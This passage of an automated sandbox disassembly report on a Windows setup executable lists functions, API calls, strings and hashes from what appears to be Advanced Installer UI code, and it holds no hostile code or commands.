CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,?,0214169B), ref: 00BBE2C3
CloseHandle.KERNEL32(00000000), ref: 00BBE320

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00BBE387
CloseHandle.KERNEL32(00000000,00D7CF5B), ref: 00BBE3AD

Strings

html, xrefs: 00BBE27C
aix, xrefs: 00BBE281

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$CloseEnterFileHandleLeave$ConditionCreateInit_thread_footerVariableWakeWrite
String ID: aix$html
API String ID: 2030708724-2369804267
Opcode ID: 445d89464d1dd2dc030ac855238df7dfc2597648fe7e1eff85c4a0141e9e5962
Instruction ID: 6e73356f5937b870a465dfb3714ad38fac921c0c17de11a5499d7dbcb755e74e
Opcode Fuzzy Hash: 445d89464d1dd2dc030ac855238df7dfc2597648fe7e1eff85c4a0141e9e5962
Instruction Fuzzy Hash: 20619A70901248DFDB10CFA4D949BEEBBF4FB8A708F244159E011BB2D1D7B56948CBA1

Function 00BA2830 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00EA1668,00000000,02141699,00000000,00DE7E63,000000FF,?,02141699), ref: 00BA29A3
GetLastError.KERNEL32(?,02141699), ref: 00BA29AD

Strings

VolumeCostSize, xrefs: 00BA2867
VolumeCostAvailable, xrefs: 00BA2870
VolumeCostVolume, xrefs: 00BA285D, 00BA2915
VolumeCostDifference, xrefs: 00BA2883
VolumeCostRequired, xrefs: 00BA2879

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpin
String ID: VolumeCostAvailable$VolumeCostDifference$VolumeCostRequired$VolumeCostSize$VolumeCostVolume
API String ID: 439134102-34576578
Opcode ID: d934e9c181871b2a384a1942533105c79a1339d690d3ae29f96d3ee8cb2c45be
Instruction ID: 6eab475e4491b0fa11df670ca1eaa7ae4b6f610ad8dbe3c83c15b8d203c2d534
Opcode Fuzzy Hash: d934e9c181871b2a384a1942533105c79a1339d690d3ae29f96d3ee8cb2c45be
Instruction Fuzzy Hash: 0A51F3B1904259DFCB10DF99DD0679E7BF4EB4A720F1842A9E814F7380E774A908CB61

Function 00D14240 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderLocation.SHELL32(00000000,00000023,?,?,?,?,00EA16AC), ref: 00D14250
LoadLibraryW.KERNEL32(Shell32.dll,?,?,00EA16AC), ref: 00D14263
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 00D14273
SHGetPathFromIDListW.SHELL32(?,00000000), ref: 00D142FC
SHGetMalloc.SHELL32(?), ref: 00D1433E

Strings

SHGetSpecialFolderPathW, xrefs: 00D1426D
Shell32.dll, xrefs: 00D1425E

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressFolderFromLibraryListLoadLocationMallocPathProcSpecial
String ID: SHGetSpecialFolderPathW$Shell32.dll
API String ID: 2352187698-2988203397
Opcode ID: 4c3694cca11538643a960c7405bd2006d5e979853294b40cc0ea4a78a6541ece
Instruction ID: bc7d03114583099f47f5131b04545baf1502e879668160879df19a3a70a68122
Opcode Fuzzy Hash: 4c3694cca11538643a960c7405bd2006d5e979853294b40cc0ea4a78a6541ece
Instruction Fuzzy Hash: 19310271640701AFDB209F29EC05BAB77F5EF94711F58842CF889971A0EF7198CA87A1

Function 00CAA450 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74libraryloaderwindowCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00CAA4E0

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

GetProcAddress.KERNEL32(SetWindowTheme), ref: 00CAA51D
__Init_thread_footer.LIBCMT ref: 00CAA534
SendMessageW.USER32(000000EF,00001036,00010000,00010000), ref: 00CAA55F

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

Part of subcall function 00C889F0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00C88A31

Strings

SetWindowTheme, xrefs: 00CAA512
explorer, xrefs: 00CAA547
UxTheme.dll, xrefs: 00CAA4B1

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$AddressConditionDirectoryMessageProcSendSystemVariableWake
String ID: SetWindowTheme$UxTheme.dll$explorer
API String ID: 3410024541-3123591815
Opcode ID: 47d04753460f11c2d36c2d7adaf5691da90a4b310a7e97d88fe254e8be934690
Instruction ID: 862a1961dee5bccd45f906ecf0298b351845c1b325880f2fa72a04d255f31977
Opcode Fuzzy Hash: 47d04753460f11c2d36c2d7adaf5691da90a4b310a7e97d88fe254e8be934690
Instruction Fuzzy Hash: 9B21C172A41705EFCB20DF19ED06B59B760EB1BB30F144215E460B72D0DBB0BA08CB66

Function 00BC1130 Relevance: 12.1, APIs: 8, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00BC115A
GetWindow.USER32(?,00000005), ref: 00BC1167
GetWindow.USER32(00000000,00000002), ref: 00BC12A2

Part of subcall function 00BC0FB0: GetWindowRect.USER32(?,?), ref: 00BC0FDC
Part of subcall function 00BC0FB0: GetWindowRect.USER32(?,?), ref: 00BC0FEC

GetWindowRect.USER32(?,?), ref: 00BC11FB
GetWindowRect.USER32(00000000,?), ref: 00BC120B
GetWindowRect.USER32(00000000,?), ref: 00BC1225

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Rect
String ID:
API String ID: 3200805268-0
Opcode ID: aa79ab7d602628adb6b961cdf03611c1f56acafc492b706b741d48665e36026f
Instruction ID: ed585eda78f17da923c91d914f81e4e35340c132cec3cb2112f872beffd4ceec
Opcode Fuzzy Hash: aa79ab7d602628adb6b961cdf03611c1f56acafc492b706b741d48665e36026f
Instruction Fuzzy Hash: 56418B305087019FC321DF29C980E6BF7EAFFA6704F544A5DF095A6562EB30E9888B52

Function 00BC92C0 Relevance: 12.1, APIs: 8, Instructions: 125COMMON

Download Yara Rule

APIs

GetWindowDC.USER32(?,02141699,?,00000000,?,?,?,?,?,00000000,00DAE6A5,000000FF,?,00BC9082,?,?), ref: 00BC9302
GetWindowRect.USER32(?,?), ref: 00BC9321
IsWindowEnabled.USER32(?), ref: 00BC9330
SelectObject.GDI32(00000000,00000000), ref: 00BC938E
ExcludeClipRect.GDI32(?,?,?,?,00000000), ref: 00BC93B8
SelectObject.GDI32(?,?), ref: 00BC93D2
DeleteObject.GDI32(00000000), ref: 00BC93E1
DeleteDC.GDI32(?), ref: 00BC9404

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ObjectWindow$DeleteRectSelect$ClipEnabledExclude
String ID:
API String ID: 3871716574-0
Opcode ID: 79f981c74a7cf92ae28741a2b2816dade2d7ab2f8d260fdf0f437fd3a8ba8fbe
Instruction ID: e82a3351f2ddd279d9595a98d572ac10e7f73974d9bac6a183cff2fc5fbe5051
Opcode Fuzzy Hash: 79f981c74a7cf92ae28741a2b2816dade2d7ab2f8d260fdf0f437fd3a8ba8fbe
Instruction Fuzzy Hash: E6415171A00215AFEB14DFA5DD48BAEBBF9FB88710F10426AE915F3250DB745D05CB60

Function 00D7F7A0 Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F7C4
HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F7CB

Part of subcall function 00D7F896: IsProcessorFeaturePresent.KERNEL32(0000000C,00D7F7B2,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F898

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F7DB
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,?,00BB8164,?), ref: 00D7F802
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000,?,?,00BB8164,?), ref: 00D7F816
InterlockedPopEntrySList.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F829
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00BB8164,?), ref: 00D7F83C

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: eed45bd37e021879e12d93f965e75723763be056be5e48f805d8945b13333367
Instruction ID: 30662b472efdefff37084521541b44ee2faeecd06c91f08c20c3b63995a23234
Opcode Fuzzy Hash: eed45bd37e021879e12d93f965e75723763be056be5e48f805d8945b13333367
Instruction Fuzzy Hash: C111EBB1700611EFE73117AAAC48F27765DFB49785F254131F909F6250EA21CC4887B2

Function 00CCF520 Relevance: 10.8, APIs: 7, Instructions: 346fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,02141699), ref: 00CCF5A9
ReadFile.KERNEL32(00000000,00000000,00001000,?,00000000,00001000), ref: 00CCF61B
ReadFile.KERNEL32(?,00000000,00001000,00000000,00000000,?,?,00000000), ref: 00CCF8BC
CloseHandle.KERNEL32(?), ref: 00CCF91A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: File$Read$CloseCreateHandle
String ID:
API String ID: 1724936099-0
Opcode ID: d0a2f3e11bd6153d0c4d5e840b5f729c6b147caeaa3e78c83de78532a2a52048
Instruction ID: 9db21b93fb8422ae33b952370465a9d6d0973440f355fed07bf7628922c2c21a
Opcode Fuzzy Hash: d0a2f3e11bd6153d0c4d5e840b5f729c6b147caeaa3e78c83de78532a2a52048
Instruction Fuzzy Hash: 04D17F71D00308DBDF24CFA4C849BAEBBB6BF49304F20426DE415BB291D774AA46CB91

Function 00C7B930 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00C7BBD5
SystemParametersInfoW.USER32(00000030,00000000,00EA6B7C,00000000), ref: 00C7BC0C
__Init_thread_footer.LIBCMT ref: 00C7BCA1

Strings

Dialog, xrefs: 00C7BA4C
AI_FRAME_NO_CAPTION_, xrefs: 00C7B985
`Dialog` = ', xrefs: 00C7BA01

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$InfoParametersSystem
String ID: AI_FRAME_NO_CAPTION_$Dialog$`Dialog` = '
API String ID: 3910108132-2270296660
Opcode ID: 939ba4575a8f9364e83cd77e98f8a9d47dc09e11115a6acc3ceceaefc0536ec8
Instruction ID: 206d3e957ae518ca5ff48ca689818f2de0b180a704d3c3b96841a3d746cf515e
Opcode Fuzzy Hash: 939ba4575a8f9364e83cd77e98f8a9d47dc09e11115a6acc3ceceaefc0536ec8
Instruction Fuzzy Hash: 71D1B271900208DFCB14DFB9DD85B9EB7B1EF5A310F148269E919BB291D770B948CBA0

Function 00BBE3F0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 285registryCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,Caphyon.AI.ExtUI.IEClickSoundRemover,02141699), ref: 00BBE491
GetLastError.KERNEL32 ref: 00BBE4BA
RegCloseKey.ADVAPI32(?,00E172AC,00000000,00E172AC,00000000,?,80000001,00000001,00000000,AppEvents\Schemes\Apps\Explorer\Navigating\.Current,00000033), ref: 00BBE72E
CloseHandle.KERNEL32(?,02141699,?,?,00000000,00DAC9ED,000000FF,?,00E172AC,00000000,00E172AC,00000000,?,80000001,00000001,00000000), ref: 00BBE7BE

Strings

Caphyon.AI.ExtUI.IEClickSoundRemover, xrefs: 00BBE486
AppEvents\Schemes\Apps\Explorer\Navigating\.Current, xrefs: 00BBE4F2

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Close$CreateErrorEventHandleLast
String ID: AppEvents\Schemes\Apps\Explorer\Navigating\.Current$Caphyon.AI.ExtUI.IEClickSoundRemover
API String ID: 1253123496-2079760225
Opcode ID: 7be8ae3461459dc6b1efe369d98fe8dab460d44f85574a31e07b162127b7e9bb
Instruction ID: ae389da7ce0ae965eb21134eb8e832c6f07c847e627f6aef5e9ae4dfc800a0af
Opcode Fuzzy Hash: 7be8ae3461459dc6b1efe369d98fe8dab460d44f85574a31e07b162127b7e9bb
Instruction Fuzzy Hash: 37C1CF70D00248DFDB24CF68C885BEEBBF4EF54704F10829DE459A7291DBB4AA88CB51

Function 00BBC570 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA1648,02141699,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5), ref: 00BBC5DA
GetModuleFileNameW.KERNEL32(0000FFFF,00000104,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5), ref: 00BBC65A
EnterCriticalSection.KERNEL32(00EA1664,?,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5,000000FF), ref: 00BBC813
LeaveCriticalSection.KERNEL32(00EA1664,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5,000000FF), ref: 00BBC834

Strings

v, xrefs: 00BBC82D

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$Enter$FileLeaveModuleName
String ID: v
API String ID: 1807155316-3261393531
Opcode ID: 94b2c0d7e2a540ac4cfeb7eb02aa572c2a4a6e036cda64fc291725301807f59b
Instruction ID: afc1d3652ff6dadc7831b21c2e34cfc279fcfa943d5c2c912c6b9675cca857ff
Opcode Fuzzy Hash: 94b2c0d7e2a540ac4cfeb7eb02aa572c2a4a6e036cda64fc291725301807f59b
Instruction Fuzzy Hash: 70B14A70900249DFDB10DBA5D888BFEBBF4EF09314F248599E405AB291DBB5A948CB61

Function 00CC95B0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 238registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,02141699,02141699,?,?), ref: 00CC9806
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 00CC9816
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00CC9868

Strings

RegOpenKeyTransactedW, xrefs: 00CC9810
Advapi32.dll, xrefs: 00CC9801

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 4190037839-3913318428
Opcode ID: 020efa85b98e36c978e656ce1aa089fe6f32ed11c373165b4d58c4278861eee0
Instruction ID: 46152b0189652b9ce2b97b76fb6270d0189884d116b7b441e7182326b50d6893
Opcode Fuzzy Hash: 020efa85b98e36c978e656ce1aa089fe6f32ed11c373165b4d58c4278861eee0
Instruction Fuzzy Hash: BDA15B70D04208DFDB24CF68C959B9EBBF4FF49304F20826DE455AB291DB74AA44CBA1

Function 00BB1000 Relevance: 10.7, APIs: 7, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 00BB10F4
SysFreeString.OLEAUT32(00000000), ref: 00BB1169
GetProcessHeap.KERNEL32(?,?), ref: 00BB11D9
HeapFree.KERNEL32(00000000,?,?), ref: 00BB11DF
GetProcessHeap.KERNEL32(?,00000000,?,00000000,00000000,00000000,02141699), ref: 00BB120C
HeapFree.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000,02141699), ref: 00BB1212
SysFreeString.OLEAUT32(00000000), ref: 00BB122A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Free$Heap$String$Process
String ID:
API String ID: 2680101141-0
Opcode ID: 86587ea2c59030694585718e7e88ae18219561a8913e7d1c139ffa63a226ffa7
Instruction ID: 28887522562c4f1d8f4047930e1785b57de7a1e222eb5bac31a5d017fd6c25dc
Opcode Fuzzy Hash: 86587ea2c59030694585718e7e88ae18219561a8913e7d1c139ffa63a226ffa7
Instruction Fuzzy Hash: 2C813570D012599FDF10DFA8C954BEEBBF8EF05310F644999E510BB281D7B89A04CBA1

Function 00BB8400 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 194comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00E195AC,00000000,00000001,Function_00279C34,?), ref: 00BB84D0

Strings

{, xrefs: 00BB8530
:, xrefs: 00BB84BA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CreateInstance
String ID: :${
API String ID: 542301482-3766677574
Opcode ID: 47453f81e4585845197dc8bcf968855bd6f884b926fc26cf176e0076520c6c1e
Instruction ID: a7f19bccd971bf43672cde2e9f2a6dfa63588c38322cf3fd471d6dd09a9c1a11
Opcode Fuzzy Hash: 47453f81e4585845197dc8bcf968855bd6f884b926fc26cf176e0076520c6c1e
Instruction Fuzzy Hash: 8661B274A002169BCF299F54C894BFDB7F8EB09714F1444AAE902FB281EBB5DD40CB60

Function 00CCB9D0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169fileCOMMON

Download Yara Rule

APIs

